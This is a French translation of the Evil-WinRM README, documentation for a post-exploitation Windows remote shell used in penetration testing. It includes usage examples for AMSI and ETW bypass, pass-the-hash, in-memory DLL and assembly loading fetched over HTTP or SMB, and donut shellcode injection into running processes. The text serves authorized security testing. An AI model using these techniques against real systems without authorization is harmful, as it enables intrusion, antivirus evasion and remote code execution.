Evil-WinRM

Le shell WinRM ultime pour le hacking/pentesting

Banner

Description et objectif

Ce shell est le shell WinRM ultime pour le hacking/pentesting.

WinRM (Windows Remote Management) est l'implémentation Microsoft du protocole WS-Management. Un protocole standard basé sur SOAP qui permet à du matériel et des systèmes d'exploitation de différents fournisseurs d'interopérer. Microsoft l'a inclus dans ses systèmes d'exploitation afin de faciliter la vie des administrateurs système.

Ce programme peut être utilisé sur n'importe quel serveur Microsoft Windows avec cette fonctionnalité activée (généralement sur le port 5985), bien sûr uniquement si vous disposez d'identifiants et des permissions nécessaires pour l'utiliser. On peut donc dire qu'il pourrait être utilisé dans une phase de post-exploitation de hacking/pentesting. L'objectif de ce programme est de fournir des fonctionnalités pratiques et faciles à utiliser pour le hacking. Il peut également être utilisé à des fins légitimes par les administrateurs système, mais la plupart de ses fonctionnalités sont axées sur le hacking/pentesting.

Il est principalement basé sur la bibliothèque Ruby WinRM qui a changé sa façon de fonctionner depuis sa version 2.0. Désormais, au lieu d'utiliser le protocole WinRM, il utilise PSRP (Powershell Remoting Protocol) pour initialiser des pools de runspaces ainsi que pour créer et traiter des pipelines.

Fonctionnalités

Compatible avec les systèmes clients Linux et Windows
Chargement en mémoire de scripts Powershell
Chargement en mémoire de fichiers dll en contournant certains AV
Chargement en mémoire d'assemblages C# (C Sharp) en contournant certains AV
Chargement de payloads x64 générés avec la technique géniale donut
Bypass AMSI dynamique pour éviter les signatures AV
Prise en charge du pass-the-hash
Prise en charge de l'authentification Kerberos, y compris les fichiers ccache et kirbi
Prise en charge de SSL et des certificats
Téléversement et téléchargement de fichiers avec barre de progression
Liste des services de la machine distante sans privilèges
Historique des commandes
Complétion des commandes WinRM
Complétion des fichiers/répertoires locaux
Complétion des chemins distants (fichiers/répertoires) (peut être désactivée optionnellement)
Colorisation de l'invite et des messages de sortie (peut être désactivée optionnellement)
Fonctionnalité de journalisation optionnelle
Prise en charge de Docker (images préconstruites disponibles sur Dockerhub)
Capture des interruptions pour éviter une sortie accidentelle du shell avec Ctrl+C
User-agent personnalisable utilisant celui par défaut légitime de Windows
Bypass ETW (Event Tracing for Windows)

Aide```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## Exigences
Ruby 2.3 ou supérieur est requis. Certaines gemmes Ruby sont également nécessaires : `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
Selon votre méthode d'installation (4 disponibles), leur installation peut devoir être effectuée manuellement.

Une autre exigence importante, utilisée uniquement pour l'authentification Kerberos, est d'installer le paquet Kerberos utilisé pour l'authentification réseau.
Pour certains Linux basés sur Debian (Kali, Parrot, etc.), il s'appelle `krb5-user`. Pour BlackArch, il s'appelle `krb5` et il peut probablement porter un nom différent pour d'autres distributions Linux.

La fonctionnalité de complétion de chemin distant nécessite la liaison native `readline-ext`, qui est installée automatiquement comme dépendance d'Evil-WinRM. Certains systèmes nécessitent des paquets de développement supplémentaires pour la compiler. Consultez [la section ci-dessous](#Remote-path-completion) pour plus d'informations.

## Installation et démarrage rapide (4 méthodes)

### Méthode 1. Installation directement en tant que gemme ruby (les dépendances seront installées automatiquement sur votre système)
 - Étape 1. Installez-la (elle installera automatiquement les dépendances) : ```gem install evil-winrm```
 - Étape 2. Prêt. Lancez-la simplement !```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Méthode 2. Cloner le dépôt Git et installer les dépendances manuellement sur votre système

Étape 1. Installer les dépendances manuellement : sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
Étape 2. Cloner le dépôt : git clone https://github.com/Hackplayers/evil-winrm.git
Étape 3. Prêt. Lancez-le !``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

### Méthode 3. Utilisation de bundler (les dépendances ne seront pas installées sur votre système, uniquement pour utiliser evil-winrm)
 - Étape 1. Installer bundler : `gem install bundler`
 - Étape 2. Cloner le dépôt : `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Étape 3. Installer les dépendances avec bundler : `cd evil-winrm && bundle install --path vendor/bundle`
 - Étape 4. Le lancer avec bundler :```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Méthode 4. Utilisation de Docker

Étape 1. Lancer le conteneur Docker basé sur l'image déjà construite :``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'

## Documentation

### Mot de passe en clair
Si vous ne souhaitez pas mettre le mot de passe en clair, vous pouvez éventuellement éviter de définir l'argument `-p` et le mot de passe sera demandé de manière interactive afin de ne pas être affiché.

### IPv6
Pour utiliser IPv6, l'adresse doit être ajoutée à /etc/hosts. Placez simplement le nom d'hôte déjà défini après l'argument `-i` au lieu d'une adresse IP.

### Commandes de base
 - **upload** : les fichiers locaux peuvent être auto-complétés avec la touche Tab.
   - utilisation : `upload local_filename` ou `upload local_filename destination_filename`
 - **download** :
   - utilisation : `download remote_filename` ou `download remote_filename destination_filename`

 __Remarques sur les chemins (upload/download)__ :
   Les chemins relatifs ne sont pas autorisés pour download/upload. Utilisez des noms de fichiers dans le répertoire courant ou des chemins absolus.
   Si vous utilisez Evil-WinRM dans un environnement docker, gardez à l'esprit que tous les chemins locaux doivent se trouver dans `/data` et assurez-vous de l'avoir mappé en tant que volume afin de pouvoir accéder aux fichiers téléchargés ou de pouvoir télécharger des fichiers depuis votre système d'exploitation local.

 - **services** : liste tous les services en indiquant si votre compte dispose de permissions sur chacun d'eux. Aucune permission d'administrateur n'est nécessaire pour utiliser cette fonctionnalité.
 - **menu** : charge les fonctions `Invoke-Binary`, `Dll-Loader` et `Donut-Loader` que nous expliquerons ci-dessous. Lorsqu'un ps1 est chargé, toutes ses fonctions seront affichées.
 - **clear** ou **cls** : efface l'écran du terminal. Vous pouvez également utiliser le raccourci clavier `Ctrl+L` pour effacer l'écran.
 - **exit** ou **quit** : ferme la session Evil-WinRM. Vous pouvez également utiliser le raccourci clavier `Ctrl+D`.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

Charger des scripts PowerShell

Pour charger un fichier ps1, il suffit de taper son nom (la complétion automatique avec la touche Tab est prise en charge). Les scripts doivent se trouver dans le chemin défini par l'argument -s. Tapez à nouveau menu et consultez les fonctions chargées. Les fichiers très volumineux peuvent mettre du temps à être chargés.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
| __)\ / / | | ;)') \ // / |/ | / / \ /
| \ /| | | // \ /| | | \ | / Y
/_____ / _/ |__|/ _/\ / ||| /__| /__| / / / / / /
```
   By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
```

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### Commandes avancées
- Invoke-Binary : permet d’exécuter des assemblys .Net en mémoire. Le nom peut être auto-complété à l’aide de la touche Tab. Les arguments du fichier exe peuvent être passés séparés par des virgules. Exemple : `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Les exécutables doivent se trouver dans le chemin défini par l’argument `-e`.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:

Dll-Loader : permet de charger des bibliothèques dll en mémoire, équivalent à : [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

Le fichier dll peut être hébergé par smb, http ou localement. Une fois chargé, tapez menu, puis il est possible d'utiliser l'autocomplétion pour toutes les fonctions.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

Description

Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader : permet d’injecter des payloads x64 générés avec la formidable technique [donut]. Pas besoin d’encoder le payload.bin, il suffit de le générer et de l’injecter !```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Vous pouvez utiliser ce donut-maker pour générer le payload.bin si vous n'utilisez pas Windows. Ce script utilise un module Python écrit par Marcello Salvati (byt3bl33d3r). Il peut être installé via pip : `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe

.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !./ \ _ _ .__./ "
X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----" / Y \ / | "x.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI : corrige la protection AMSI.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

D'abord, vous devez synchroniser la date avec le DC : rdate -n <dc_ip>
Pour générer un ticket, il existe plusieurs méthodes :
- Utiliser ticketer.py d'impacket
- Utiliser Rubeus ou Mimikatz pour obtenir des tickets kirbi (la conversion automatique en ccache est prise en charge)
Ajouter le fichier de ticket. Il y a 3 façons :

export KRB5CCNAME=/foo/var/ticket.ccache

cp ticket.ccache /tmp/krb5cc_0

Utiliser le paramètre -K : evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache ou evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

Lors de l'utilisation de -K, l'outil va automatiquement :
- Détecter le format du ticket (ccache ou kirbi)
- Convertir les tickets kirbi au format ccache si nécessaire (nécessite ticket_converter.py ou impacket-ticketConverter)
- Valider que le fichier existe et est lisible
- Définir la variable d'environnement KRB5CCNAME
- Résoudre les adresses IP en FQDN pour une meilleure compatibilité Kerberos
Ajouter le realm à /etc/krb5.conf (pour linux). L'utilisation de ce format est importante : ``` CONTOSO.COM = { kdc = fooserver.contoso.com }
Vérifier les tickets Kerberos avec klist
Pour supprimer un ticket, utilisez : kdestroy
Pour plus d’informations sur Kerberos, consultez cette [antisèche]

Complétion de chemins distants

Cette fonctionnalité nécessite la liaison native readline-ext. Evil-WinRM la déclare comme dépendance, elle est donc installée automatiquement lors de l’utilisation de RubyGems ou Bundler. Si l’extension native ne peut pas être compilée, cette fonctionnalité ne fonctionnera pas (un avertissement sera affiché).

Note pour Ruby 3.3+ : ext/readline a été retiré du code source de Ruby en 3.3 (Feature #19616). Par conséquent, la méthode 1 ci-dessous ne peut pas être utilisée avec Ruby 3.3 ou plus récent. Sur les systèmes basés sur Debian, installez le paquet de développement requis avant d’installer Evil-WinRM ou ses dépendances :``` sudo apt install libreadline-dev

La dépendance `readline-ext` fait en sorte que `require 'readline'` charge GNU Readline au lieu de `reline`, qui ne possède pas `quoting_detection_proc`, la méthode qu'Evil-WinRM recherche. Les méthodes ci-dessous ciblent les versions plus anciennes de Ruby et sont conservées pour des raisons de compatibilité.

#### Méthode 1 (compiler l'extension nécessaire)

Avec cette méthode, vous compilerez Ruby avec la fonctionnalité readline nécessaire, mais pour utiliser uniquement la bibliothèque sans modifier la version par défaut de Ruby sur votre système. Pour cette raison, c'est la méthode la plus recommandée.

Supposons que vous ayez Ruby 2.7.3 sur votre système basé sur Debian :```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Méthode 2 (Installer ruby pour l'utiliser uniquement pour evil-winrm avec rbenv)

Supposons que vous souhaitiez ruby 2.7.1 sur un Linux basé sur Debian et que vous utilisiez zsh. Ce script automatisera cela. Vous devrez le lancer depuis le même répertoire où se trouvent evil-winrm.rb et le Gemfile (par exemple, le répertoire créé par evil-winrm après un git clone) :``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Ensuite, vous pouvez lancer evil-winrm en toute sécurité en utilisant le nouveau ruby installé avec le support readline requis, depuis n'importe quel emplacement.

#### Méthode 3 (compiler ruby entièrement)

Si vous souhaitez le compiler vous-même, vous pouvez suivre ces étapes. Supposons que vous vouliez ruby 2.7.3 :```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

Selon votre système, il sera installé dans /opt/rubies/ruby-2.7.3 ou peut-être dans ~/.rubies/ruby-2.7.3.

Il suffit maintenant d'installer les dépendances d'evil-winrm pour cette nouvelle version de ruby installée. Le moyen le plus simple est de lancer la commande /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm. La commande gem utilisée doit appartenir à la nouvelle installation de ruby.

Après cela, vous pouvez lancer en toute sécurité votre nouveau ruby installé pour l'utiliser avec evil-winrm : /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Il est recommandé d'utiliser ce nouveau ruby installé uniquement pour lancer evil-winrm. Si vous le définissez comme ruby par défaut de votre système, gardez à l'esprit qu'aucun gem de dépendance n'y est installé. Certains logiciels basés sur ruby comme Metasploit ou d'autres pourraient ne pas démarrer correctement en raison de problèmes de dépendances.

Journalisation

Cette fonctionnalité créera des fichiers dans votre répertoire $HOME enregistrant les commandes et les sorties des sessions WinRM.

Historique des commandes

Evil-WinRM maintient un historique de commandes persistant pour chaque combinaison hôte et utilisateur. L'historique est stocké dans le répertoire ~/.evil-winrm/history/ avec des fichiers nommés {host}_{user}.hist.

Lorsque vous vous connectez à une machine déjà consultée, vous pouvez utiliser les touches fléchées (Haut/Bas) pour naviguer dans vos commandes précédentes. L'historique est automatiquement enregistré après chaque exécution de commande et chargé lorsque vous vous reconnectez au même hôte avec le même utilisateur.

Problèmes connus. Erreurs OpenSSL

Parfois, vous pourriez rencontrer une erreur comme celle-ci :``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

L'erreur est causée par le fait que la version OpenSSL 3.0 a retiré certaines fonctions héritées comme MD4, nécessaires au fonctionnement de cet outil. Il existe différentes solutions de contournement pour gérer cette situation :

 - Mettez à jour votre système vers la dernière version. Il est probable que ce problème ait été automatiquement corrigé dans les versions récentes de Ruby qui utilisent des versions plus récentes d'OpenSSL.
 - Compilez votre propre Ruby en utilisant l'ancien OpenSSL 1.x au lieu d'OpenSSL 3.0, ou compilez-le avec OpenSSL > 3.0 pour éviter la version 3.0 problématique.
 - La plus simple. Modifiez votre fichier de configuration `/etc/ssl/openssl.cnf` et assurez-vous que la configuration ressemble à ceci :```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1

En alternative à la dernière solution de contournement, si votre système utilise LibreSSL au lieu d'OpenSSL ou si vous ne souhaitez tout simplement pas modifier votre fichier de configuration système. Créez un simple fichier contenant le contenu ci-dessus. N'importe quel nom peut être utilisé, par exemple evil-tls.conf. Ensuite, exportez une variable d'environnement pour forcer le système à l'utiliser : export OPENSSL_CONF="/path/to/evil-tls.conf". Puis lancez l'outil, l'erreur disparaîtra.

Journal des modifications :

Le journal des modifications et les changements du projet peuvent être consultés ici : CHANGELOG.md

Crédits :

Équipe :

Cybervaca, (fondateur). Twitter (X) : @CyberVaca_
OscarAkaElvis, Twitter (X) : @OscarAkaElvis
Jarilaos, Twitter (X) : @_Laox
arale61, Twitter (X) : @arale61

Remerciements à :

Vis0r pour son soutien personnel.
Alamot pour son code original.
3v4Si0N pour son excellent chargeur de DLL.
WinRb Tous les contributeurs de la bibliothèque Ruby.
TheWover pour son excellent outil donut.
byt3bl33d3r pour sa bibliothèque Python permettant de créer des payloads donut.
Sh11td0wn pour l'inspiration concernant les nouvelles fonctionnalités.
Borch pour son aide à l'ajout de la fonctionnalité de journalisation.
noraj pour son aide à la maintenance de l'outil sur les différentes versions de Ruby.
Hackplayers pour avoir hébergé ce logiciel sur leur GitHub.

Avertissement et licence

Ce script est sous licence LGPLv3+. Lien direct vers la Licence.

Evil-WinRM ne doit être utilisé que pour des tests d'intrusion autorisés et/ou à des fins éducatives à but non lucratif. Toute utilisation abusive de ce logiciel n'engagera pas la responsabilité de l'auteur ni d'aucun autre collaborateur. Utilisez-le sur vos propres serveurs et/ou avec l'autorisation du propriétaire du serveur.

Lire plus

evil-winrm v4.1

Catégories